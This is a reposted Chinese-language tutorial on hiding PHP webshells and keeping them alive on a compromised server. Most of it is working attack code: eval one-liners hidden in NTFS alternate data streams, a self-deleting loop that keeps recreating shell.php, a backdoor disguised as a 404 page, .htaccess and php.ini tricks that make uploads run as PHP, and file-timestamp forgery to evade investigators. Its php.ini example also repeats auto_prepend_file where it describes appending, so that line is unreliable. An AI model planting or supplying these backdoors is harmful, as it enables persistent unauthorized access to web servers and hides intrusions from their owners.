PHP后門隱藏技巧


如果想讓自己的Webshell留的更久一些,除了Webshell要免殺,還需要注意一些隱藏技巧,比如隱藏文件,修改時間屬性,隱藏文件內容等。


1、隱藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夾增加了系統文件屬性、存檔文件屬性、只讀文件屬性和隱藏文件屬性。

attrib +s +a +h +r shell.php   //隱藏shell.php文件

 

2、修改文件時間屬性

當你試圖在一堆文件中隱藏自己新創建的文件,那么,除了創建一個迷惑性的文件名,還需要修改文件的修改日期。

//修改時間修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//訪問時間修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//創建時間修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令獲取文件屬性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某個文件夾下所有文件的創建和修改時間

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

 

3、利用ADS隱藏文件內容

在服務器上echo一個數據流文件進去,比如index.php是網頁正常文件,我們可以這樣子搞: 

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

這樣子就生成了一個不可見的shell hidden.jpg,常規的文件管理器、type命令,dir命令、del命令發現都找不出那個hidden.jpg的。

利用include函數,將index.php:hidden.jpg進行hex編碼,把這個ADS文件include進去,這樣子就可以正常解析我們的一句話了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

 

4、不死馬

不死馬會刪除自身,以進程的形式循環創建隱蔽的后門。

<?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); //刪除自身
while(1) { file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>');  //創建shell.php,這里最好用免殺的一句話
    sleep(10);    //間隔時間
} ?>

處理方式最簡單有效的辦法,就是重啟服務就可以刪除webshell文件。

 

5、中間件后門

將編譯好的so文件復制到modules文件夾,啟動后門模塊,重啟Apache。當發送特定參數的字符串過去時,即可觸發后門。

github項目地址:

https://github.com/VladRico/apache2_BackdoorMod

 

6、利用404頁面隱藏后門

404頁面主要用來提升用戶體驗,可用來隱藏后門文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>

 

7、利用 .htaccess 文件構成PHP后門

一般.htaccess可以用來留后門和針對黑名單繞過,在上傳目錄創建.htaccess 文件寫入,無需重啟即可生效,上傳png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析規則,把文件名包含1的解析成php,上傳1.txt即可解析。

<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>

 

8、利用 php.ini 隱藏后門文件

php.ini 中可以指定在主文件執行前后自動解析的文件名稱,常用於頁面公共頭部和尾部,也可以用來隱藏php后門。

;在PHP文檔之前自動添加文件。 auto_prepend_file = "c:\tmp.txt" ;在PHP文檔之后自動添加文件。 auto_prepend_file = "c:\tmp.txt"

需重啟服務生效,訪問任意一個php文件即可獲取webshell。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM